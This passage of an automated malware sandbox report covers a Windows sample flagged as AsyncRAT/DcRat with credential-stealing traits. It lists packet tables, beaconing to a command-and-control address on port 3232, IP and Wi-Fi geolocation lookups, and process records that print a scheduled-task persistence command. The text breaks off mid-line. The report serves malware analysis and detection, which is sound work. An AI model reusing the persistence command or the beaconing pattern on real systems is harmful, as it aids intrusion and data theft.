May 23, 2024 13:53:54.315234900 CEST	80	49748	104.16.185.241	192.168.2.4
May 23, 2024 13:53:54.725511074 CEST	80	49748	104.16.185.241	192.168.2.4
May 23, 2024 13:53:54.773539066 CEST	49748	80	192.168.2.4	104.16.185.241
May 23, 2024 13:53:54.904356956 CEST	49749	80	192.168.2.4	208.95.112.1
May 23, 2024 13:53:54.910084009 CEST	80	49749	208.95.112.1	192.168.2.4
May 23, 2024 13:53:54.910160065 CEST	49749	80	192.168.2.4	208.95.112.1
May 23, 2024 13:53:54.910306931 CEST	49749	80	192.168.2.4	208.95.112.1
May 23, 2024 13:53:54.966029882 CEST	80	49749	208.95.112.1	192.168.2.4
May 23, 2024 13:53:55.376266956 CEST	80	49749	208.95.112.1	192.168.2.4
May 23, 2024 13:53:55.429709911 CEST	49749	80	192.168.2.4	208.95.112.1
May 23, 2024 13:53:55.433999062 CEST	49748	80	192.168.2.4	104.16.185.241
May 23, 2024 13:53:55.510246992 CEST	80	49748	104.16.185.241	192.168.2.4
May 23, 2024 13:53:55.552993059 CEST	80	49748	104.16.185.241	192.168.2.4
May 23, 2024 13:53:55.601593971 CEST	49748	80	192.168.2.4	104.16.185.241
May 23, 2024 13:53:55.825532913 CEST	49748	80	192.168.2.4	104.16.185.241
May 23, 2024 13:53:55.841270924 CEST	80	49748	104.16.185.241	192.168.2.4
May 23, 2024 13:53:55.958214998 CEST	80	49748	104.16.185.241	192.168.2.4
May 23, 2024 13:53:56.007818937 CEST	49748	80	192.168.2.4	104.16.185.241
May 23, 2024 13:53:56.165092945 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:56.215943098 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:56.310441017 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:56.367211103 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:56.378911018 CEST	49750	443	192.168.2.4	104.21.44.66
May 23, 2024 13:53:56.378948927 CEST	443	49750	104.21.44.66	192.168.2.4
May 23, 2024 13:53:56.379019022 CEST	49750	443	192.168.2.4	104.21.44.66
May 23, 2024 13:53:56.402956009 CEST	49750	443	192.168.2.4	104.21.44.66
May 23, 2024 13:53:56.402966976 CEST	443	49750	104.21.44.66	192.168.2.4
May 23, 2024 13:53:56.907125950 CEST	443	49750	104.21.44.66	192.168.2.4
May 23, 2024 13:53:56.907210112 CEST	49750	443	192.168.2.4	104.21.44.66
May 23, 2024 13:53:56.910276890 CEST	49750	443	192.168.2.4	104.21.44.66
May 23, 2024 13:53:56.910289049 CEST	443	49750	104.21.44.66	192.168.2.4
May 23, 2024 13:53:56.910840034 CEST	443	49750	104.21.44.66	192.168.2.4
May 23, 2024 13:53:56.918097973 CEST	49750	443	192.168.2.4	104.21.44.66
May 23, 2024 13:53:56.962491035 CEST	443	49750	104.21.44.66	192.168.2.4
May 23, 2024 13:53:58.122699976 CEST	443	49750	104.21.44.66	192.168.2.4
May 23, 2024 13:53:58.122885942 CEST	443	49750	104.21.44.66	192.168.2.4
May 23, 2024 13:53:58.122953892 CEST	49750	443	192.168.2.4	104.21.44.66
May 23, 2024 13:53:58.124144077 CEST	49750	443	192.168.2.4	104.21.44.66
May 23, 2024 13:53:58.138866901 CEST	49746	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:58.139070034 CEST	49746	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:58.191620111 CEST	3232	49746	66.235.168.242	192.168.2.4
May 23, 2024 13:53:58.191669941 CEST	3232	49746	66.235.168.242	192.168.2.4
May 23, 2024 13:53:58.191698074 CEST	3232	49746	66.235.168.242	192.168.2.4
May 23, 2024 13:53:58.191725969 CEST	3232	49746	66.235.168.242	192.168.2.4
May 23, 2024 13:53:58.191755056 CEST	3232	49746	66.235.168.242	192.168.2.4
May 23, 2024 13:53:58.191783905 CEST	3232	49746	66.235.168.242	192.168.2.4
May 23, 2024 13:53:58.191812038 CEST	3232	49746	66.235.168.242	192.168.2.4
May 23, 2024 13:53:58.191839933 CEST	3232	49746	66.235.168.242	192.168.2.4
May 23, 2024 13:53:58.191867113 CEST	3232	49746	66.235.168.242	192.168.2.4
May 23, 2024 13:53:58.191862106 CEST	49746	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:58.191862106 CEST	49746	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:58.191895008 CEST	3232	49746	66.235.168.242	192.168.2.4
May 23, 2024 13:53:58.191924095 CEST	3232	49746	66.235.168.242	192.168.2.4
May 23, 2024 13:53:58.192002058 CEST	49746	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:58.192116976 CEST	49746	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:58.197066069 CEST	3232	49746	66.235.168.242	192.168.2.4
May 23, 2024 13:53:58.197210073 CEST	49746	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:58.202213049 CEST	3232	49746	66.235.168.242	192.168.2.4
May 23, 2024 13:53:58.202248096 CEST	3232	49746	66.235.168.242	192.168.2.4
May 23, 2024 13:53:58.202276945 CEST	3232	49746	66.235.168.242	192.168.2.4
May 23, 2024 13:53:58.202305079 CEST	3232	49746	66.235.168.242	192.168.2.4
May 23, 2024 13:53:58.202333927 CEST	3232	49746	66.235.168.242	192.168.2.4
May 23, 2024 13:53:58.202362061 CEST	3232	49746	66.235.168.242	192.168.2.4
May 23, 2024 13:53:58.202389956 CEST	3232	49746	66.235.168.242	192.168.2.4
May 23, 2024 13:53:58.202419043 CEST	3232	49746	66.235.168.242	192.168.2.4
May 23, 2024 13:53:58.202435017 CEST	49746	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:58.202568054 CEST	49746	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:58.207684040 CEST	3232	49746	66.235.168.242	192.168.2.4
May 23, 2024 13:53:58.212466955 CEST	3232	49746	66.235.168.242	192.168.2.4
May 23, 2024 13:53:58.212481022 CEST	3232	49746	66.235.168.242	192.168.2.4
May 23, 2024 13:53:58.212492943 CEST	3232	49746	66.235.168.242	192.168.2.4
May 23, 2024 13:53:58.212505102 CEST	3232	49746	66.235.168.242	192.168.2.4
May 23, 2024 13:53:58.212517977 CEST	3232	49746	66.235.168.242	192.168.2.4
May 23, 2024 13:53:58.212531090 CEST	3232	49746	66.235.168.242	192.168.2.4
May 23, 2024 13:53:58.212543011 CEST	3232	49746	66.235.168.242	192.168.2.4
May 23, 2024 13:53:58.212554932 CEST	3232	49746	66.235.168.242	192.168.2.4
May 23, 2024 13:53:58.242346048 CEST	49746	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:58.254610062 CEST	3232	49746	66.235.168.242	192.168.2.4
May 23, 2024 13:53:58.254632950 CEST	3232	49746	66.235.168.242	192.168.2.4
May 23, 2024 13:53:58.307380915 CEST	3232	49746	66.235.168.242	192.168.2.4
May 23, 2024 13:54:04.461368084 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:54:04.466542006 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:54:04.466610909 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:54:04.471565008 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:54:04.648931980 CEST	49745	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:54:04.654230118 CEST	3232	49745	66.235.168.242	192.168.2.4
May 23, 2024 13:54:04.654297113 CEST	49745	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:54:04.659276009 CEST	3232	49745	66.235.168.242	192.168.2.4
May 23, 2024 13:54:12.969305992 CEST	49746	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:54:13.015111923 CEST	3232	49746	66.235.168.242	192.168.2.4
May 23, 2024 13:54:13.015216112 CEST	49746	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:54:13.020500898 CEST	3232	49746	66.235.168.242	192.168.2.4
May 23, 2024 13:54:17.352438927 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:54:17.358333111 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:54:17.358426094 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:54:17.364229918 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:54:20.205276012 CEST	49745	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:54:20.210612059 CEST	3232	49745	66.235.168.242	192.168.2.4
May 23, 2024 13:54:20.210819006 CEST	49745	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:54:20.216377020 CEST	3232	49745	66.235.168.242	192.168.2.4
May 23, 2024 13:54:26.152090073 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:54:26.195511103 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:54:26.292015076 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:54:26.336148024 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:54:30.242938042 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:54:30.248339891 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:54:30.248435974 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:54:30.254385948 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:54:35.742822886 CEST	49745	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:54:35.748029947 CEST	3232	49745	66.235.168.242	192.168.2.4
May 23, 2024 13:54:35.748116016 CEST	49745	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:54:35.756232977 CEST	3232	49745	66.235.168.242	192.168.2.4
May 23, 2024 13:54:35.774040937 CEST	49746	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:54:35.783001900 CEST	3232	49746	66.235.168.242	192.168.2.4
May 23, 2024 13:54:35.783094883 CEST	49746	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:54:35.788079977 CEST	3232	49746	66.235.168.242	192.168.2.4
May 23, 2024 13:54:43.133559942 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:54:43.138797998 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:54:43.138887882 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:54:43.143910885 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:54:43.905383110 CEST	80	49749	208.95.112.1	192.168.2.4
May 23, 2024 13:54:43.905455112 CEST	49749	80	192.168.2.4	208.95.112.1
May 23, 2024 13:54:51.293900013 CEST	49745	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:54:51.299156904 CEST	3232	49745	66.235.168.242	192.168.2.4
May 23, 2024 13:54:51.299247026 CEST	49745	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:54:51.308238983 CEST	3232	49745	66.235.168.242	192.168.2.4
May 23, 2024 13:54:56.024446964 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:54:56.029522896 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:54:56.029612064 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:54:56.035111904 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:54:56.184580088 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:54:56.227082014 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:54:56.279295921 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:54:56.320883989 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:55:02.837110996 CEST	49746	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:55:02.840569019 CEST	49745	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:55:02.841403961 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:55:02.842283964 CEST	3232	49746	66.235.168.242	192.168.2.4
May 23, 2024 13:55:02.842351913 CEST	49746	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:55:02.887345076 CEST	3232	49745	66.235.168.242	192.168.2.4
May 23, 2024 13:55:02.887356997 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:55:02.887471914 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:55:02.887526989 CEST	49745	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:55:02.892200947 CEST	3232	49746	66.235.168.242	192.168.2.4
May 23, 2024 13:55:02.897253036 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:55:02.943408012 CEST	3232	49745	66.235.168.242	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 23, 2024 13:53:54.243911982 CEST	63476	53	192.168.2.4	1.1.1.1
May 23, 2024 13:53:54.251265049 CEST	53	63476	1.1.1.1	192.168.2.4
May 23, 2024 13:53:54.741652966 CEST	64857	53	192.168.2.4	1.1.1.1
May 23, 2024 13:53:54.749455929 CEST	53	64857	1.1.1.1	192.168.2.4
May 23, 2024 13:53:54.832564116 CEST	51596	53	192.168.2.4	1.1.1.1
May 23, 2024 13:53:54.900098085 CEST	53	51596	1.1.1.1	192.168.2.4
May 23, 2024 13:53:56.366966963 CEST	57754	53	192.168.2.4	1.1.1.1
May 23, 2024 13:53:56.377888918 CEST	53	57754	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
May 23, 2024 13:53:54.243911982 CEST	192.168.2.4	1.1.1.1	0x55ba	Standard query (0)	icanhazip.com	A (IP address)	IN (0x0001)	false
May 23, 2024 13:53:54.741652966 CEST	192.168.2.4	1.1.1.1	0x673e	Standard query (0)	231.12.13.0.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
May 23, 2024 13:53:54.832564116 CEST	192.168.2.4	1.1.1.1	0xcffa	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
May 23, 2024 13:53:56.366966963 CEST	192.168.2.4	1.1.1.1	0xaf2	Standard query (0)	api.mylnikov.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
May 23, 2024 13:52:58.089664936 CEST	1.1.1.1	192.168.2.4	0x2972	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.26	A (IP address)	IN (0x0001)	false
May 23, 2024 13:52:58.089664936 CEST	1.1.1.1	192.168.2.4	0x2972	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.38	A (IP address)	IN (0x0001)	false
May 23, 2024 13:52:58.089664936 CEST	1.1.1.1	192.168.2.4	0x2972	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.27	A (IP address)	IN (0x0001)	false
May 23, 2024 13:52:58.089664936 CEST	1.1.1.1	192.168.2.4	0x2972	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.22	A (IP address)	IN (0x0001)	false
May 23, 2024 13:52:58.089664936 CEST	1.1.1.1	192.168.2.4	0x2972	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.25	A (IP address)	IN (0x0001)	false
May 23, 2024 13:52:58.089664936 CEST	1.1.1.1	192.168.2.4	0x2972	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.35	A (IP address)	IN (0x0001)	false
May 23, 2024 13:53:54.251265049 CEST	1.1.1.1	192.168.2.4	0x55ba	No error (0)	icanhazip.com		104.16.185.241	A (IP address)	IN (0x0001)	false
May 23, 2024 13:53:54.251265049 CEST	1.1.1.1	192.168.2.4	0x55ba	No error (0)	icanhazip.com		104.16.184.241	A (IP address)	IN (0x0001)	false
May 23, 2024 13:53:54.749455929 CEST	1.1.1.1	192.168.2.4	0x673e	Name error (3)	231.12.13.0.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false
May 23, 2024 13:53:54.900098085 CEST	1.1.1.1	192.168.2.4	0xcffa	No error (0)	ip-api.com		208.95.112.1	A (IP address)	IN (0x0001)	false
May 23, 2024 13:53:56.377888918 CEST	1.1.1.1	192.168.2.4	0xaf2	No error (0)	api.mylnikov.org		104.21.44.66	A (IP address)	IN (0x0001)	false
May 23, 2024 13:53:56.377888918 CEST	1.1.1.1	192.168.2.4	0xaf2	No error (0)	api.mylnikov.org		172.67.196.114	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.mylnikov.org

icanhazip.com

ip-api.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49748	104.16.185.241	80	3808	C:\Users\user\AppData\Roaming\Loaader.exe

Timestamp	Bytes transferred	Direction	Data
May 23, 2024 13:53:54.268383026 CEST	63	OUT	GET / HTTP/1.1 Host: icanhazip.com Connection: Keep-Alive
May 23, 2024 13:53:54.725511074 CEST	535	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 11:53:54 GMT Content-Type: text/plain Content-Length: 13 Connection: keep-alive Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET Set-Cookie: __cf_bm=QxB36zQbPIhp1tQmGcWJTxJJbVmDS0E2D9_xrvgmr_g-1716465234-1.0.1.1-0Oq5B.N8LchYDzlJBSbr6aN6OFDugZImYXLtocLrX5yo7tX.CQma2fouJ_DOu4IrawfeE5bWOK.yChWq8w34mg; path=/; expires=Thu, 23-May-24 12:23:54 GMT; domain=.icanhazip.com; HttpOnly Server: cloudflare CF-RAY: 8884d924bbc64288-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 38 2e 34 36 2e 31 32 33 2e 31 37 35 0a Data Ascii: 8.46.123.175
May 23, 2024 13:53:55.433999062 CEST	39	OUT	GET / HTTP/1.1 Host: icanhazip.com
May 23, 2024 13:53:55.552993059 CEST	535	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 11:53:55 GMT Content-Type: text/plain Content-Length: 13 Connection: keep-alive Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET Set-Cookie: __cf_bm=62N0BwhRg6igQ9NUvtffmyvoizv1s62anb1gWKaJ8k4-1716465235-1.0.1.1-K23X3zPPua4BfiIBXz5J1_ndolRYxGx99vxutpi1zbQpvNkXG5i7JEODRFZKIYSKD.0iNctcoCxaUovXNAkHdA; path=/; expires=Thu, 23-May-24 12:23:55 GMT; domain=.icanhazip.com; HttpOnly Server: cloudflare CF-RAY: 8884d929e8c64288-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 38 2e 34 36 2e 31 32 33 2e 31 37 35 0a Data Ascii: 8.46.123.175
May 23, 2024 13:53:55.825532913 CEST	39	OUT	GET / HTTP/1.1 Host: icanhazip.com
May 23, 2024 13:53:55.958214998 CEST	535	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 11:53:55 GMT Content-Type: text/plain Content-Length: 13 Connection: keep-alive Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET Set-Cookie: __cf_bm=h6hxC83lISqI7XN0FtoazLwzcWU_h05gjpjrsjrX0hQ-1716465235-1.0.1.1-.uJ6KRsfB8kziNpeqVMe3r4WuFVtbL6aX8IVztim6EkSQphTC0w5el0RyWD6yjt_nKpB3hZAlblT3tKTukMnag; path=/; expires=Thu, 23-May-24 12:23:55 GMT; domain=.icanhazip.com; HttpOnly Server: cloudflare CF-RAY: 8884d92c3aba4288-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 38 2e 34 36 2e 31 32 33 2e 31 37 35 0a Data Ascii: 8.46.123.175

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49749	208.95.112.1	80	3808	C:\Users\user\AppData\Roaming\Loaader.exe

Timestamp	Bytes transferred	Direction	Data
May 23, 2024 13:53:54.910306931 CEST	80	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
May 23, 2024 13:53:55.376266956 CEST	175	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 11:53:54 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 6 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 66 61 6c 73 65 0a Data Ascii: false

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49750	104.21.44.66	443	3808	C:\Users\user\AppData\Roaming\Loaader.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 11:53:56 UTC	112	OUT	GET /geolocation/wifi?v=1.1&bssid=00:50:56:a7:21:15 HTTP/1.1 Host: api.mylnikov.org Connection: Keep-Alive
2024-05-23 11:53:58 UTC	777	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 11:53:58 GMT Content-Type: application/json; charset=utf8 Content-Length: 88 Connection: close Access-Control-Allow-Origin: * Cache-Control: max-age=2678400 CF-Cache-Status: MISS Last-Modified: Thu, 23 May 2024 11:53:58 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6KpRt8KocvD9JBpqb5eND02dG0Sy%2B205REbtITg8vNgvsr0lRKM9IKby2noUOu894VL3C6PQOsEAkCrcq3rpQ3ZvwgY5%2FFt590mUjiJdFYjjho2k6WJMwmQasIbOB7tbnJrT"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=0; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 8884d9335a1a335a-EWR alt-svc: h3=":443"; ma=86400
2024-05-23 11:53:58 UTC	88	IN	Data Raw: 7b 22 72 65 73 75 6c 74 22 3a 34 30 34 2c 20 22 64 61 74 61 22 3a 7b 7d 2c 20 22 6d 65 73 73 61 67 65 22 3a 36 2c 20 22 64 65 73 63 22 3a 22 4f 62 6a 65 63 74 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 22 2c 20 22 74 69 6d 65 22 3a 31 37 31 36 34 36 35 32 33 37 7d Data Ascii: {"result":404, "data":{}, "message":6, "desc":"Object was not found", "time":1716465237}

Target ID:	0
Start time:	07:52:51
Start date:	23/05/2024
Path:	C:\Users\user\Desktop\t3h7DNer1Q.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\t3h7DNer1Q.exe"
Imagebase:	0x9c0000
File size:	64'512 bytes
MD5 hash:	B8D455465260A845DB35492FDA5A8888
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: 00000000.00000000.1593618518.00000000009C2000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: Windows_Trojan_DCRat_1aeea1ac, Description: unknown, Source: 00000000.00000002.1621545683.0000000000E04000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_DCRat_1aeea1ac, Description: unknown, Source: 00000000.00000002.1622733927.0000000002C51000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: 00000000.00000002.1622733927.000000000322F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	07:52:53
Start date:	23/05/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Loaader" /tr '"C:\Users\user\AppData\Roaming\Loaader.exe"' & exit
Imagebase:	0x7ff672d70000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	07:52:53
Start date:	23/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	07:52:53
Start date:	23/05/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\tmpE266.tmp.bat""
Imagebase:	0x7ff672d70000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	07:52:53
Start date:	23/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	07:52:53
Start date:	23/05/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /create /f /sc onlogon /rl highest /tn "Loaader" /tr '"C:\Users\user\AppData\Roaming\Loaader.exe"'
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	07:52:53
Start date:	23/05/2024
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	timeout 3
Imagebase:	0x7ff6b50e0000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	07:52:54
Start date:	23/05/2024
Path:	C:\Users\user\AppData\Roaming\Loaader.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\Loaader.exe
Imagebase:	0x6e0000
File size:	64'512 bytes
MD5 hash:	B8D455465260A845DB35492FDA5A8888
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_DCRat_1aeea1ac, Description: unknown, Source: 00000007.00000002.2853326582.0000000002A1A000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000007.00000002.2853326582.0000000002AA0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000007.00000002.2853326582.0000000002AA0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_DCRat_1aeea1ac, Description: unknown, Source: 00000007.00000002.2853326582.0000000002AA0000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex, Description: Detects executables referencing Discord tokens regular expressions, Source: 00000007.00000002.2853326582.0000000002AA0000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Trojan_DCRat_1aeea1ac, Description: unknown, Source: 00000007.00000002.2853326582.0000000002A85000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_DCRat_1aeea1ac, Description: unknown, Source: 00000007.00000002.2853326582.0000000002A6D000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_DCRat_1aeea1ac, Description: unknown, Source: 00000007.00000002.2850520768.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_DCRat_1aeea1ac, Description: unknown, Source: 00000007.00000002.2850520768.0000000000C21000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_DCRat_1aeea1ac, Description: unknown, Source: 00000007.00000002.2877936876.000000001B38B000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000007.00000002.2890957214.000000001CF80000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000007.00000002.2890957214.000000001CF80000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex, Description: Detects executables referencing Discord tokens regular expressions, Source: 00000007.00000002.2890957214.000000001CF80000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen Rule: INDICATOR_SUSPICIOUS_EXE_References_VPN, Description: Detects executables referencing many VPN software clients. Observed in infosteslers, Source: 00000007.00000002.2890957214.000000001CF80000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_DcRat_2, Description: Yara detected DcRat, Source: 00000007.00000002.2853326582.00000000029C1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_DCRat_1aeea1ac, Description: unknown, Source: 00000007.00000002.2853326582.00000000029C1000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_AsyncRAT, 